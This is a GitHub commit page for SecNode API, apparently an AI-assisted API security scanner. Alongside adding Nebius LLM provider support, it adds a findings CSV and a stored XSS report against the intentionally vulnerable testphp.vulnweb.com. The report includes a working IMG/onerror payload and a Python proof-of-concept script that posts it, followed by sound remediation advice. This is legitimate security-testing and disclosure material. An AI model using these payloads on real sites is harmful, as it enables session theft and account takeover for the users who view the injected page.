Skip to content

Commit 55d4f35

Browse files
committed
feat(ai): Add support for Nebius LLM Provider
- Added NEBIUS_API_KEY parsing inside cli.py and config.py - Reconfigured litellm inside ai_client to use custom tokenfactory API base - Updated README and CONTRIBUTING docs with Nebius env instructions
1 parent 14705ba commit 55d4f35

12 files changed

Lines changed: 976 additions & 4 deletions

File tree

CONTRIBUTING.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,9 +45,13 @@ Thank you for your interest in contributing to SecNode API! This guide will help
4545
# Or Ollama
4646
export SECNODE_LLM="ollama/llama3.1"
4747
export OLLAMA_API_BASE="http://localhost:11434" # optional
48+
49+
# Or Nebius
50+
export SECNODE_LLM="nebius/meta-llama/Meta-Llama-3.1-70B-Instruct"
51+
export NEBIUS_API_KEY="your-nebius-key"
4852
```
4953
Provider credentials are model-specific. `openai/*` requires `OPENAI_API_KEY`,
50-
`anthropic/*` requires `ANTHROPIC_API_KEY`, and `ollama/*` can run locally without
54+
`anthropic/*` requires `ANTHROPIC_API_KEY`, `nebius/*` requires `NEBIUS_API_KEY`, and `ollama/*` can run locally without
5155
cloud API keys. See [LiteLLM provider docs](https://docs.litellm.ai/docs/providers) for other providers.
5256

5357
5. **Run SecNode in development mode**

README.md

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ SecNode API is a practical automation layer for API security testing.
3030
### Requirements
3131

3232
- Python 3.10+
33-
- Access to an LLM provider key (OpenAI or Anthropic)
33+
- Access to an LLM provider key (OpenAI, Anthropic, or Nebius)
3434

3535
### Install from source
3636

@@ -85,8 +85,15 @@ export SECNODE_LLM="ollama/llama3.1"
8585
export OLLAMA_API_BASE="http://localhost:11434" # optional, defaults to localhost if omitted
8686
```
8787

88+
Or with Nebius:
89+
90+
```bash
91+
export SECNODE_LLM="nebius/meta-llama/Meta-Llama-3.1-70B-Instruct"
92+
export NEBIUS_API_KEY="your-nebius-key"
93+
```
94+
8895
Provider credentials are model-specific. `openai/*` requires `OPENAI_API_KEY`, `anthropic/*`
89-
requires `ANTHROPIC_API_KEY`, and `ollama/*` can run locally without cloud API keys.
96+
requires `ANTHROPIC_API_KEY`, `nebius/*` requires `NEBIUS_API_KEY`, and `ollama/*` can run locally without cloud API keys.
9097
See [LiteLLM providers](https://docs.litellm.ai/docs/providers).
9198

9299
## Quick Start

src/secnodeapi/ai/llm_client.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,10 @@ async def call_llm(system_prompt: str, user_prompt: str, temperature: float = 0.
3737
api_base = os.getenv("OLLAMA_API_BASE", "").strip()
3838
if api_base:
3939
completion_kwargs["api_base"] = api_base
40+
elif provider == "nebius":
41+
# Nebius is OpenAI-compatible and requires its specific base URL
42+
completion_kwargs["api_base"] = "https://api.tokenfactory.nebius.com/v1/"
43+
completion_kwargs["api_key"] = os.getenv("NEBIUS_API_KEY", "")
4044

4145
response = await acompletion(
4246
**completion_kwargs

src/secnodeapi/cli.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -267,6 +267,10 @@ def _require_provider_key(schema_only: bool) -> None:
267267
"OLLAMA provider selected but unavailable configuration detected. "
268268
"Set SECNODE_LLM=ollama/<model> and optionally OLLAMA_API_BASE."
269269
)
270+
elif provider == "nebius":
271+
message = (
272+
"Provider API key required. Set NEBIUS_API_KEY for SECNODE_LLM nebius/* models."
273+
)
270274
else:
271275
message = (
272276
"Provider API key required. Set provider-specific credentials to match SECNODE_LLM."

src/secnodeapi/config.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,9 @@ def has_supported_provider_key() -> bool:
2525
return bool(os.getenv("OPENAI_API_KEY"))
2626
if provider == "anthropic":
2727
return bool(os.getenv("ANTHROPIC_API_KEY"))
28+
if provider == "nebius":
29+
return bool(os.getenv("NEBIUS_API_KEY"))
2830
if provider == "ollama":
2931
return True
3032

31-
return bool(os.getenv("OPENAI_API_KEY") or os.getenv("ANTHROPIC_API_KEY"))
33+
return bool(os.getenv("OPENAI_API_KEY") or os.getenv("ANTHROPIC_API_KEY") or os.getenv("NEBIUS_API_KEY"))
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
id,title,severity,timestamp,file
2+
vuln-0002,SQL Injection in /artists.php 'artist' parameter enables data exfiltration (MySQL),CRITICAL,2026-03-08 19:35:38 UTC,vulnerabilities/vuln-0002.md
3+
vuln-0001,Stored Cross-Site Scripting (XSS) in /guestbook.php allows arbitrary JavaScript execution,HIGH,2026-03-08 19:29:54 UTC,vulnerabilities/vuln-0001.md
4+
vuln-0005,Path Traversal (Local File Inclusion) in /showimage.php 'file' parameter allows arbitrary local file read,HIGH,2026-03-08 19:47:21 UTC,vulnerabilities/vuln-0005.md
5+
vuln-0003,Information Disclosure via Publicly Accessible Database Initialization Script at /admin/create.sql,MEDIUM,2026-03-08 19:42:11 UTC,vulnerabilities/vuln-0003.md
6+
vuln-0004,Reflected Cross-Site Scripting (XSS) in POST /search.php ‘searchFor’ parameter,MEDIUM,2026-03-08 19:46:31 UTC,vulnerabilities/vuln-0004.md
7+
vuln-0006,Reflected XSS in /hpp/params.php 'p' parameter (single and duplicate-key HPP variants),MEDIUM,2026-03-08 19:47:23 UTC,vulnerabilities/vuln-0006.md
Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
# Stored Cross-Site Scripting (XSS) in /guestbook.php allows arbitrary JavaScript execution
2+
3+
**ID:** vuln-0001
4+
**Severity:** HIGH
5+
**Found:** 2026-03-08 19:29:54 UTC
6+
**Target:** http://testphp.vulnweb.com
7+
**Endpoint:** /guestbook.php
8+
**Method:** POST, GET
9+
**CWE:** CWE-79
10+
**CVSS:** 8.1
11+
12+
## Description
13+
14+
The guestbook feature stores and renders user-supplied message content without proper output encoding or sanitization. By submitting an HTML IMG element with an onerror handler in the message body, the application saves the payload and later serves it to every visitor of the guestbook page. When the page is viewed, the browser executes the attacker-controlled JavaScript (stored XSS).
15+
16+
This behavior was confirmed by posting a tokenized IMG/onerror payload and observing both a DOM mutation marker placed by the script and an HTTP request triggered by the payload, demonstrating real script execution in the victim’s browser context.
17+
18+
## Impact
19+
20+
Exploitation enables an attacker to execute arbitrary JavaScript in the context of victim users who view the guestbook page. Practical impact includes:
21+
- Session hijacking, account takeover, or impersonation by exfiltrating session tokens or leveraging authenticated APIs
22+
- Defacement, phishing overlays, keylogging, or malware delivery via drive-by actions
23+
- CSRF chaining and privilege abuse by invoking sensitive in-application actions on behalf of victims
24+
- Persistence of the malicious payload for all future visitors until manually removed
25+
26+
Because the payload executes for every viewer, the blast radius includes privileged operators or administrators who visit the page.
27+
28+
## Technical Analysis
29+
30+
Root cause
31+
The message body submitted to /guestbook.php is stored server-side and re-rendered into the HTML page without output encoding or HTML sanitization. As a result, attacker-controlled HTML and event handlers are inserted into the DOM and executed by browsers.
32+
33+
Evidence collected (confirmed exploitability)
34+
- Stored payload submissions: POST /guestbook.php requests recorded (IDs 191 and 207) contain the IMG/onerror payload in the text parameter.
35+
- Runtime script execution: After submission and page reload, the DOM showed a runtime attribute set by the payload: body[xss_ts="1772997961884"].
36+
- Outbound indicator of execution: A browser-initiated GET /xssprobe?ts=1772997961884 was captured (request ID 193), which was issued by the payload’s onerror handler, confirming JavaScript execution.
37+
38+
Render context
39+
The payload is injected into the content area of the guestbook entry (HTML table cell). Inline event handlers (onerror) are permitted and executed, indicating no sanitization and no effective CSP blocking inline script/event attributes.
40+
41+
## Proof of Concept
42+
43+
To reproduce manually:
44+
1) Navigate to http://testphp.vulnweb.com/guestbook.php
45+
2) In the message textarea, submit the following payload and click “add message”:
46+
<img src=x onerror="document.body.setAttribute('xss_ts','1772997961884'); fetch('/xssprobe?ts=1772997961884')">
47+
3) Reload or revisit the guestbook page. Observe that:
48+
- The payload is stored and rendered in the page markup.
49+
- The browser executes the onerror handler. Evidence may include a request to /xssprobe?ts=1772997961884 and the DOM attribute body[xss_ts="1772997961884"].
50+
51+
Notes:
52+
- Request IDs 191 and 207 are example POST submissions that stored the payload.
53+
- Request ID 193 shows the browser-initiated GET /xssprobe?ts=1772997961884 triggered by the payload, proving execution.
54+
55+
```
56+
#!/usr/bin/env python3
57+
import time
58+
import requests
59+
from urllib.parse import urljoin
60+
61+
BASE = "http://testphp.vulnweb.com"
62+
GUESTBOOK = urljoin(BASE, "/guestbook.php")
63+
64+
def submit_payload(session: requests.Session, token: str) -> requests.Response:
65+
payload = (
66+
f"<img src=x onerror=\""
67+
f"document.body.setAttribute('xss_ts','{token}'); "
68+
f"fetch('/xssprobe?ts={token}')"
69+
f"\">"
70+
)
71+
# Send HTML directly (server reflects it as HTML)
72+
# Some servers accept raw HTML; if HTML entities are preferred, use payload above as is
73+
raw_payload = f"<img src=x onerror=\"document.body.setAttribute('xss_ts','{token}'); fetch('/xssprobe?ts={token}')\">"
74+
75+
data = {
76+
"name": "anonymous user",
77+
"text": raw_payload,
78+
"submit": "add message",
79+
}
80+
return session.post(GUESTBOOK, data=data, timeout=15, allow_redirects=True)
81+
82+
def verify_persistence(session: requests.Session, token: str) -> bool:
83+
# Fetch the guestbook HTML and look for the token within the stored payload
84+
r = session.get(GUESTBOOK, timeout=15)
85+
if r.status_code != 200:
86+
print(f"[!] Unexpected status fetching guestbook: {r.status_code}")
87+
return False
88+
89+
body = r.text
90+
# Evidence 1: token present inside the rendered onerror payload
91+
marker_in_html = (f"onerror=\"document.body.setAttribute('xss_ts','{token}')" in body) or (f"/xssprobe?ts={token}" in body)
92+
93+
# (Optional) If you have a capturing proxy or server logs, you can also
94+
# confirm a GET /xssprobe?ts={token} occurs when the page is viewed in a real browser.
95+
return marker_in_html
96+
97+
def main():
98+
s = requests.Session()
99+
token = str(int(time.time() * 1000))
100+
print(f"[*] Using token: {token}")
101+
print(f"[*] Submitting payload to: {GUESTBOOK}")
102+
103+
resp = submit_payload(s, token)
104+
print(f"[*] POST /guestbook.php -> {resp.status_code}")
105+
106+
time.sleep(1.5)
107+
print("[*] Verifying stored payload presence...")
108+
ok = verify_persistence(s, token)
109+
110+
if ok:
111+
print("[+] Stored XSS confirmed. The payload with token is present in the page HTML.")
112+
print(f"[+] When viewed in a browser, the onerror handler will execute and request /xssprobe?ts={token}.")
113+
else:
114+
print("[-] Could not find the tokenized payload in the HTML source. Try reloading or waiting a moment.")
115+
116+
if __name__ == "__main__":
117+
main()
118+
```
119+
120+
## Remediation
121+
122+
Server-side output encoding and sanitization
123+
1) Treat all guestbook message content as untrusted. Encode output for the HTML context using a proven, framework-native encoder. In PHP:
124+
- Echo user text with: htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8')
125+
- Do not allow inline HTML/event attributes from untrusted input unless passed through a strict HTML sanitizer (e.g., HTML Purifier) with a minimal safe allowlist and URI scheme restrictions.
126+
2) Remove or refuse dangerous constructs (script tags, event handlers like onerror/onload, javascript: URLs, SVG/MathML active content) if rich text is not strictly required. Prefer plain text storage and rendering.
127+
128+
Defense-in-depth
129+
3) Enforce a strict Content Security Policy (CSP) to reduce XSS impact:
130+
- script-src 'self' with nonces or hashes; disallow 'unsafe-inline'
131+
- object-src 'none'; base-uri 'self'
132+
- form-action 'self'
133+
4) Normalize application character encoding to UTF-8 and consistently apply encoding routines at every sink.
134+
5) Add server-side validation to block payloads containing HTML tags or event attributes if the feature does not require HTML.
135+
6) Implement security testing and regression tests to verify no stored or reflected XSS is possible in rendering paths.
136+
137+
Operational guidance
138+
7) Remove any existing malicious guestbook entries from storage.
139+
8) After fixes, perform a focused retest to ensure that stored HTML is either safely sanitized or encoded and that CSP effectively prevents execution of inline event handlers.
140+

0 commit comments

Comments
 (0)